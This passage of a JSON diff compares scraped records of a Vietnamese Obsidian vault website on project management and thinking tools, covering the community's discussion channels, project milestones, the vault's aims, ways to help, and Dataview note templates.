"Điệp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Điệp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hiện tại có 2 nơi thảo luận chính:\n- Kênh `#tiếng-việt` trong [Discord Obsidian](https://discord.gg/obsidianmd)\n- Kênh `#quản-lý-dự-án-và-công-cụ-nghĩ` trong [Discord Quả Cầu](https://discord.gg/ynvxH2K7Ct) \n\nLâu lâu sẽ có những buổi gặp mặt, với chủ đề có thể là:\n- [[Các buổi họp xây dựng kế hoạch phát triển|Xây dựng kế hoạch phát triển]]\n- [[Các buổi cố vấn riêng|Cố vấn riêng cho một ai đó]]\n- [[Các buổi giới thiệu vault|Giới thiệu vault mới]]\n- Hoặc chỉ đơn giản là trò chuyện, tán gẫu bạn bè\n\nThời gian diễn ra và hình thức gặp mặt sẽ tuỳ thuộc vào sự thống nhất của những người tham gia. \n\nNếu bạn có một phản hồi về một ý tưởng của vault, hoặc có nhu cầu được trao đổi 1-1, hoặc bất cứ vấn đề gì, hãy cho mọi người biết bằng việc nhắn trên các kênh liên lạc đó nhé.\n\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-10T17:46:00.000Z", - "id": "Nj" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T06:16:00.000Z", + "id": "Nx" }, { - "Tiêu đề": "Những dấu mốc", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Những dấu mốc", + "Tiêu đề": "⚡Hiểu biết sâu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# 2023\r\n- 01/05: Ra mắt phiên bản web\r\n- 28/04: Đổi tên vault thành \"Obsidian, quản lý dự án và công cụ nghĩ\" \r\n- 12/04: Đổi tên vault thành \"Quản lý dự án và công cụ nghĩ\" \r\n- (Không nhớ ngày): Xong bộ cài\r\n- (Không nhớ ngày): Đổi tên thành \"Obsidian và Git cho quản lý dự án\" \r\n- (Không nhớ ngày): Tạo vault \"Nhập môn Obsidian\" \r\n- (Không nhớ ngày): Đặt tên dự án là \"Nhóm hỗ trợ người tự học lập trình hoặc quản lý dự án\" \r\n- (Không nhớ ngày): Giới thiệu về Obsidian trong nhóm *Product Maker Vietnam*\r\n\r\n# 2022\r\n- 25/11: Tham gia đóng góp ý kiến tại *Buổi tham vấn: Sự tham gia của các tổ chức xã hội/cộng đồng trong việc thực hiện Mục tiêu Phát triển Bền vững (SDGs) thông qua các hoạt động và mô hình dựa vào cộng đồng* do Bộ Kế hoạch và Đầu tư với Tổ chức Hợp tác Phát triển Đức (GIZ) tổ chức\r\n- 15/10: Giới thiệu về Obsidian tại [2GROW Forum – Diễn đàn Kết nối Thanh niên & Đội/Nhóm Thanh niên vì Bình đẳng giới](https://www.facebook.com/events/472983171387474/472983181387473/?active_tab=about \"2GROW Forum: Kết nối - Giao thoa | Facebook\")\r\n- 19/2: [Lập kênh tiếng Việt trong Discord Obsidian](https://discord.com/channels/686053708261228577/694233507500916796/944542788995923989)\r\n- 18/2: Viết xong plugin [Graphvidian](https://forum.obsidian.md/t/graphviz-and-hierarchical-graph-layout-a-review-and-plugin-proposal/31596/2?u=ooker)\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu\" \nWHERE file.name!=this.file.name\nGroup by substring(file.folder,15)\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Nk" + "Ngày cập nhật": "2023-10-27T10:39:00.000Z", + "id": "Ny" }, { - "Tiêu đề": "Nơi này là nơi nào?", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Nơi này là nơi nào?", + "Tiêu đề": "🌟 Mở đầu", + "URL": "https://obsidian.quảcầu.cc/🌟 Mở đầu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Mục tiêu\nĐây là một vault Obsidian dành riêng cho người Việt với mục tiêu:\n- Hỗ trợ những ai chưa từng làm quen với Obsidian và Git cũng như kiến thức về phát triển sản phẩm có thể nhanh chóng học những ứng dụng và kiến thức này từng bước một để làm một kho dữ liệu quản lý dự án. Bạn có thể dùng vault này để tự học hoặc như một giáo án để hỗ trợ bạn bè của mình ([[⚔️ Hướng dẫn Obsidian và Git]]) \n- Thu thập những hiểu biết sâu (insight) mà những người đang tự học quản lý dự án nhiều khi cũng lờ mờ nhận ra nhưng không có ai ở ngay đó để đẩy vấn đề đi xa hơn, hoặc chưa biết diễn giải làm sao. còn những người mới học thì thấy quá tải, nhức đầu vì những lời khuyên, bài viết trên mạng dù hay đến mấy cũng rời rạc. ([[⚡Hiểu biết sâu]]) \n- Tổng hợp những nguồn tài nguyên hay, đặc biệt cho những nhóm dự án chưa có nhiều kinh nghiệm và quá thiếu người. Hướng tới phát triển bền vững ([[📜Tài nguyên]) \n- Thử nghiệm một dự án mở ([[📐 Dự án]]) \n\nNhiều cái rất bình thường và hiển nhiên với người có kinh nghiệm, lại là những thử gây trắc trở với những người mới. Có thể ở đâu đó có những bài viết chất lượng, đậm đặc insight, nhưng nó lại không cạnh tranh nổi với các bài viết chú trọng vào SEO.\nNgười tự học quản lý dự án hoặc lập trình\n\nNgược lại, vì tính chất công việc, những người có kinh nghiệm thực tế đi quá sâu nên không có nhiều thời gian để mở rộng\n\nNhững vấn đề mà một dự án nhỏ, không có nhiều tiền và cảm thấy có quá nhiều việc sẽ có lúc cần dùng đến.\n\nKhông phát minh lại bánh xe, cái nào người khác làm rồi mà làm hay hơn mình thì chỉ dẫn link hoặc copy\n\nLà nơi để mọi người biết được thêm về các chuyên ngành khác, tránh việc phân mảnh kiến thức\nĐể hiểu thêm về động lực thực hiện dự án này, xem bài [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]]\n\n# Cách tổ chức dữ liệu\nCách vault này tổ chức cũng giống Wikipedia, nhưng tiêu đề từng trang không phải là một chủ đề mà là một câu. Như vậy thì sự tập trung vào một ý niệm sẽ được đẩy lên cao hơn, cũng sẽ dễ làm mình thấy được sự liên kết giữa các ý lại với nhau hơn. \n\n[[Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác]]\n\nGiới thiệu khái niệm như trong [[Lập trình]], so sánh sự khác nhau. Vì thực chất thuật ngữ mới là thứ người mới cảm thấy loạn, rối, mất phương hướng. Ngoài việc khi tiếp cận một lĩnh vực mới ta thấy những thuật ngữ, khái niệm khó nhó, mà sự tiện lợi của người đã hiểu rồi và lịch sử phát triển của lĩnh vực cũng tạo nên sự rối rắm đó. \nChú trọng ghi lại những mối quan hệ giữa các khái niệm, chứ không cố gắng giải thích khái niệm đó là gì. Cái nào không quá khó để mò hoặc google ra thì không ghi. Cái nào phải loay hoay một lúc mới nhận ra thì sẽ ghi\n\nĐa phần ghi chú trong đây đều ở trạng thái chưa hoàn thiện. Thứ cần được hoàn thiện là sự liên kết giữa các trang và nội dung một số trang hay được đọc và chia sẻ nhiều.\n\n# Các chủ đề được bàn đến trong [[⚡Hiểu biết sâu]]\n![[Các lĩnh vực trong vault.png]]\n\nCó thể thấy là nó cũng quá đa dạng, và có thể bạn không cần biết hết. Nhưng tất cả những cái này bạn sẽ phải tự học, và khi dự án bạn còn nhỏ thì bạn sẽ phải cáng đáng hết tất cả những vấn đề này\n\nCó hơi hướng thiên về lĩnh vực phi lợi nhuận hoặc học thuật\n\n# Cách [[⚔️ Hướng dẫn Obsidian và Git]] được thiết kế\nNếu bạn chưa rành về lập trình, thì khó khăn bạn gặp sẽ nhiều hơn. Vừa muốn tập trung vào ý tưởng vừa cần phải học ngôn ngữ đó.\nCác bài tập không chỉ được thiết kế để bạn nắm được cách sử dụng Obsidian và các phần mềm bổ trợ khácChỉnh từ từ để không bị ngộp, nhưng sau đó vứt đi, mà còn chính là vault của bạn trong việc quản lý dự án\nCác bài học phải đến từ serious use of learner. Nó phải giải đáp được nhu cầu có thực của riêng họ, chứ không phải chỉ là một ví dụ cho dễ hiểu xong rồi xóa đi. Bài tập được giao cho họ phải là thứ họ rồi cũng sẽ phải làm\nKhông học bài bản ngôn ngữ, nhưng đụng vấn đề nào cần giải thích thì sẽ giải thích, cũng như dẫn đến các tài liệu sâu hơn, bỏ qua những cái nhìn vào cũng đoán đoán, mò mò được\nTất nhiên, học được bài bản thì rất tốt, nhưng [[Việc mò mẫm vui, đỡ phải nghĩ và thường là hiệu quả hơn là đọc hướng dẫn cẩn thận]], [[Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu]]. \nKhông ai đến với lập trình vì muốn lập trình cả, mà là vì họ cần giải quyết vấn đề khác, mà vấn đề đó cần lập trình\n\n## [[📜Tài nguyên]\n\nLao ngay vào code trong product thì hổng kiến thức do nhiều chỗ viết tắt cho dễ đọc, dễ quản lý. Học từ từ thì thấy lãng phí thời gian.\nĐể đọc được tới dòng này là cả một sự nỗ lực ở lại của bạn. Dù bạn có từng đọc bao nhiêu trang khác rồi thì \nChỉ ghi lại những thứ mất nhiều thời gian để nhận ra. Cái nào dễ thấy thì ko ghi \n- muốn nhưng google được là có thì không ghi. Khi nào bị bug rồi mới phát hiện ra một cái gì đó mà không thấy ai nói gì thì mới ghi\n- Nếu cản trở sự đọc hiểu mà phải google thì cũng ghi ra \n\n\nNguồn đánh dấu những cái ở trên nó. Trang nào không có nguồn là trang đó tự nghĩ. Chữ nguồn nhiều khi cũng ko đúng. Một số cái là copy hoàn toàn. Một số cái là nắm bắt ý ghi lại. Với để ở đâu cũng khó, vì có những cái tự tổng hợp lại thì chỉ nên để là tham khảo. Nhưng cái này ko được ưu tiên\n\n---\n\nVault này được khởi xướng bởi Quả Cầu.\n\nBọn mình khuyến khích bạn tải vault trực tiếp hơn là đọc trên web. [[Tại sao lại cần tải kho về hơn là đọc trên web|Tại sao tôi lại nên làm vậy?]] \n\nNếu bạn có một phản hồi về một ý tưởng của vault, hoặc có nhu cầu được trao đổi 1-1, hoặc bất cứ vấn đề gì, hãy xem [[Mọi người hay thảo luận ở đâu?]]\n", + "Toàn bộ nội dung": "![[logo.svg|200]]\n\nObsidian là một phần mềm ghi chú mới xuất hiện từ năm 2020. Điểm khác biệt của nó với Word hoặc Google Docs là khả năng liên kết các ghi chú lại như Wikipedia mà không bị ràng buộc bởi việc nên phân loại theo thư mục nào. Điểm khác biệt của nó với Notion hoặc Google Docs là nó lưu dữ liệu trên máy bạn chứ không lưu trên máy chủ, khiến cho bạn có sự tự chủ và tự do tuyệt đối với dữ liệu của mình. \n\nBất cứ ai trong chúng ta đều có những nhu cầu cần được đáp ứng. Những nhu cầu này chảy qua cơ thể chúng ta, tạo ra những dự định về tương lai trong tâm trí của chúng ta. Khi một dự định trở nên đủ lớn, nó sẽ trở thành một dự án. Khi một dự án trở nên đủ phức tạp, bạn cần những công cụ giúp bạn điều chỉnh kế hoạch theo sự biến động của môi trường cũng như kết nối các nguồn lực mà không tốn quá nhiều năng lượng. Những công cụ cho bạn sự tự chủ và tự do với dữ liệu của mình, không giam hãm thông tin trong những ốc đảo nào sẽ giúp bạn làm được điều đó.\n \nVào khoảnh khắc bạn nhận ra được rằng bạn có thể sử dụng một công cụ nào đó để đạt được một mục tiêu nào đó, bạn đã không còn là chính mình như trước nữa. Lấy những dụng cụ quang học làm ví dụ. Một cái kính lúp sẽ phóng to những chi tiết nhỏ, và một cái kính cận sẽ làm sắc nét những thứ nhoè nhoẹt. Nhưng chúng không chỉ giúp bạn thấy rõ những thứ khó thấy, chúng còn có thể giúp bạn thấy được những điều bất khả thấy. Một chiếc kính viễn vọng sẽ giúp bạn thấy được số vệ tinh của hành tinh Thổ, và một chiếc kính hồng ngoại sẽ giúp bạn thấy được những chuyển động trong đêm. Nhưng nếu ta không lấy làm bất ngờ gì lắm khi nghe tới những loại ánh sáng mắt không thế nhìn ra, thì tại sao ta lại bất ngờ khi biết rằng có những loại suy nghĩ não không thể nghĩ tới? Dù sao thì, cả mắt và cả não đều bị giới hạn trong cái cấu trúc sinh học của nó. Và cũng giống như những công cụ nhìn kia giúp ta nhìn thấy được những thứ khó nhìn và bất khả nhìn, thì với những công cụ nghĩ ta có thể nghĩ tới những suy nghĩ khó nghĩ và bất khả nghĩ. \n\nSau khi đọc xong những điều này, hiện có những câu hỏi nào xuất hiện trong đầu bạn?\n\n| Câu hỏi của bạn | Loại câu hỏi | | Nơi cho câu trả lời |\n| --------------------------------------------------------------------------------------------- | ------------ | ----------------------------- | ----------------------------- |\n| Obsidian có gì hay? Nó giúp ích gì trong việc tư duy, hệ thống kiến thức, hoặc quản lý dự án? | What | | [[💎 Giới thiệu về Obsidian]] |\n| Tôi cần thành thạo thêm những công cụ gì để dự án của tôi được trôi chảy? | How | Biết là mình không biết | [[📜Tài nguyên]] |\n| Hmm, bản chất của những vấn đề này là gì? Còn những gì tôi không biết là tôi không biết? | Why | Không biết là mình không biết | [[⚡Hiểu biết sâu]] |\n\n[[Nơi này là nơi nào?|Nơi này là nơi nào?]] | [[Mọi người hay thảo luận ở đâu?|Mọi người hay thảo luận ở đâu?]] | [[Tôi có thể giúp gì|Tôi có thể giúp gì?]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-25T03:54:00.000Z", - "Ngày cập nhật": "2024-08-24T14:00:00.000Z", - "id": "Nl" + "Ngày tạo": "2023-06-25T12:58:00.000Z", + "Ngày cập nhật": "2024-09-02T08:22:00.000Z", + "id": "Nz" }, { - "Tiêu đề": "Tôi có thể giúp gì?", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Tôi có thể giúp gì", + "Tiêu đề": "3 Thành phẩm", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xem thêm:: [[Kế hoạch phát triển dự án]]\n\nĐây là một số thứ bạn có thể giúp mà không cần dùng tiền. \n## Làm các khảo sát\n- Làm [khảo sát về sự hữu ích của vault cho bạn](https://quảcầu.cc/khao-sat-nguoi-dung-vault-nhap-mon-obsidian/?utm_source=CV+%C2%BB+T%C3%B4i+c%C3%B3+th%E1%BB%83+gi%C3%BAp+g%C3%AC%3F&utm_medium=Kh%E1%BA%A3o+s%C3%A1t+ng%C6%B0%E1%BB%9Di+d%C3%B9ng+vault+Nh%E1%BA%ADp+m%C3%B4n+Obsidian&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2)\n\n## Thảo luận với mọi người\nBạn có thể chọn một ghi chú ạn thấy thú vị nhất và [[Mọi người hay thảo luận ở đâu?|thảo luận với mọi người]].Điều này sẽ giúp nội dung của nó hoàn thiện hơn\n\n## Tham gia vào mạng kết nối nhu cầu\n## Hỗ trợ những bạn mới\n## Thiết kế hoặc lập trình web \n\n## Ủng hộ tiền\nhttps://opencollective.com/nhom-tu-hoc/donate\n\n[[Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có]], [[Crowdfunding depends on highly visible public work]]\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:45:00.000Z", - "id": "Nm" + "Ngày tạo": "2023-10-28T10:48:00.000Z", + "Ngày cập nhật": "2023-10-28T10:48:00.000Z", + "id": "N-" }, { - "Tiêu đề": "Tại sao lại cần tải kho về hơn là đọc trên web?", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Tại sao lại cần tải kho về hơn là đọc trên web", + "Tiêu đề": "Các buổi cố vấn riêng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi cố vấn riêng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong ngành khoa học máy tính, [[Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó]]. Điều đó khiến cho [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác|chúng ta phải đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]. Hay nói cách khác, [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối]]. Xu thế hiện nay là [[Các nhóm làm việc qua mạng ngày càng nhiều]], đến nỗi khi được hỏi về app đa số mọi người sẽ chỉ nhắc đến những cloud app như Google Drive hay Notion. Nghĩa là chúng ta đã hy sinh quá nhiều sự tự chủ dữ liệu cho sự tiện lợi đến nỗi chúng ta không còn biết gì về một loạt các phần mềm khác mạnh mẽ hơn. Việc đánh mất sự tự chủ đó là lý do khiến cho chúng ta luôn cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả. Đây chính là một sự bất lực học được. [[Người không học về lập trình thấy việc lập trình như làm phép thuật]], trong khi [[Lập trình viên biết lập trình chủ yếu là nhờ biết google]]. Bạn cũng biết google vậy, vậy tại sao vẫn thấy nó giống như làm phép thuật? Chúng tôi nghĩ một phần lớn là vì đã từ lâu bạn không còn cảm giác mình có sự tự chủ với dữ liệu của mình rồi. Khi bạn đã có lại được cảm giác đó, bạn sẽ thấy mình tự tin hơn về công nghệ.\n\nBạn có thể bắt đầu có lại cảm giác đó bằng cách tải dữ liệu của web này về.\n\n[[Hướng dẫn tải kho]]{ .md-button .md-button--primary }\n\n## Những thứ mà chỉ phiên bản trên Obsidian mới có mà bản web không có\nVề cơ bản, những thứ này có được là do [[Obsidian lưu dữ liệu trên máy của người dùng]]. Đây là một số hệ quả của việc đó:\n\n### Tất cả các phím tắt, chức năng và plugin của Obsidian, bao gồm cả những thứ bạn thiết lập riêng cho mình\nVí dụ:\n#### Đồ thị mối liên hệ giữa các ghi chú trong phần [[⚡Hiểu biết sâu]]\n![](https://i.imgur.com/gwdeLlL.png)\n\nĐồ thị này cho thấy được có những ghi chú nào nổi trội trong đây, cũng như mức độ liên kết của chúng. Bạn có thể thấy chúng rời rạc khá nhiều.\n\n#### Những trang nào liên kết tới trang đang đọc\n![](https://i.imgur.com/UbXZspz.png)\n\n#### Lịch sử phát triển \n![](https://i.imgur.com/UyIxTHF.png)\nXem thêm:: [[Theo tính năng của plugin|Obsidian có những tính năng nào hay?]]\n\n### Thời gian chuyển trang gần như là tức thời\nĐiều này giúp bạn nhanh chóng kiểm tra giả thiết các câu hỏi của bạn. \n\nXem thêm:: [[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\n\n### Các tập tin không thể hoặc không cần phải để lên web\nVí dụ:\n- Các tập tin không được dùng trong ghi chú nào cả\n- Các tập tin trong thư mục `Ξ Thiết lập` \n- Các tập tin có dung lượng lớn hơn 100 MB\n\n## Vậy bản web được sinh ra để làm gì?\n- Dễ giới thiệu cho người mới, \n- Dễ quảng bá dự án,\n- ~~Tăng SEO~~ Thêm nguồn tài nguyên chất lượng cho các máy tìm kiếm như Google, Bing. Xem thêm:: [[Xây dựng hệ thống tri thức cộng đồng]]\n- Thêm nguồn ngữ liệu chất lượng để huấn luyện cho máy\n\n### Những lỗi trên bản web \n- Thanh tìm kiếm không hoạt động\n- Không tự chuyển trang mỗi lần sửa tên ghi chú nên hay bị 404\n- Dataview không được tự động cập nhật\n- Cache 🤡\n\nVí dụ, những trang có Dataview sẽ không chắc được cập nhật, do plugin tạo web không thấy trang đó có sự thay đổi gì.\n\nVề cơ bản, **những lỗi này không được ưu tiên sửa**. Do nhiệm vụ của nó là để dễ giới thiệu cho người mới, nên khi nó đã làm xong nhiệm vụ của mình thì có lẽ nên tập trung sức lực cho những thứ khác. Để biết những thứ cần được ưu tiên hơn, bạn có thể đọc trong [[📐 Dự án]].\n\n[[Hướng dẫn tải kho]]{ .md-button .md-button--primary }\n", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\nTrạng thái:: #tt/đang-làm, [[Nhật]]\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\n\nThành quả cần có::\nThành quả hỗ trợ:: [[100% người tham gia cho phản hồi về độ hấp dẫn của bài học]]\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:55:00.000Z", - "id": "Nn" - }, + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "N_" + }, { - "Tiêu đề": "Về chữ Nguồn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Về chữ Nguồn", + "Tiêu đề": "Các buổi chia sẻ vault cá nhân", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi giới thiệu vault/Các buổi chia sẻ vault cá nhân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Có khi là copy lại từ đầu đến cuối quan điểm của nguồn\n- Có khi là viết lại ý của nguồn theo quan điểm của mình\n\n- Có khi đó là quan điểm của nguồn khác, nguồn đó chỉ đang thuật lại\n- Có khi là có xào nấu lại theo ý của mình\n\nỞ phía trên là nguồn\nKhông có nguồn có thể là thiếu nguồn, có thể là tự nghĩ\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-20T14:37:00.000Z", - "id": "No" + "Ngày cập nhật": "2023-11-21T15:44:00.000Z", + "id": "O0" }, { - "Tiêu đề": "C Obsidian, quản lý dự án và công cụ nghĩ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/C Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Các buổi giới thiệu vault", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi giới thiệu vault", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-28T15:41:00.000Z", - "Ngày cập nhật": "2023-12-25T13:30:00.000Z", - "id": "Np" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O1" }, { - "Tiêu đề": "Giả thiết về người tham gia", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về người tham gia", + "Tiêu đề": "Demo tại nhóm phát triển sản phẩm", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi giới thiệu vault/Demo tại nhóm phát triển sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Người học\n- Hiểu được việc đáp ứng nhu cầu học không đồng nhất với giảng bài\n- Hiểu được mình nên có một nhu cầu rất cụ thể nào đó trước khi vào đây, chứ không phải để học căn bản\n# Người khởi xướng\n- Thấy việc mình được chọn thời điểm học, người tham gia và nội dung buổi thảo luận sao cho phù hợp với mình \n- Hiểu được mình cần phải chủ động nhắn với người hướng dẫn và chủ động định giá\n# Người hướng dẫn\n\n", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\n# 2023-02-03 18:20\r\n- 2023-02-06 21:55: 28 lượt click, 22.22% quay lại,\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-19T07:37:00.000Z", - "id": "Nq" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O2" }, { - "Tiêu đề": "Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", + "Tiêu đề": "15 - 3", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi họp xây dựng kế hoạch phát triển/15 - 3", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Hiểu được việc đáp ứng nhu cầu học không đồng nhất với giảng bài\n- Hiểu được mình nên có một nhu cầu rất cụ thể nào đó trước khi vào đây, chứ không phải để học căn bản\n- Hiểu được mình cần phải chủ động nhắn và chủ động định giá\n- Thấy việc được chủ động định giá làm họ thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n- Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n- Hiểu được các buổi học được triển khai thế nào\n- Dành thời gian đọc hết\n- Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n[[Văn Đinh Phú]]\n[[❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động]]\n[[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Sự tiếp nhận với ý tưởng/Mục tiêu và câu hỏi phỏng vấn]]", + "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm/buổi-họp\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nCác giả thuyết cần kiểm 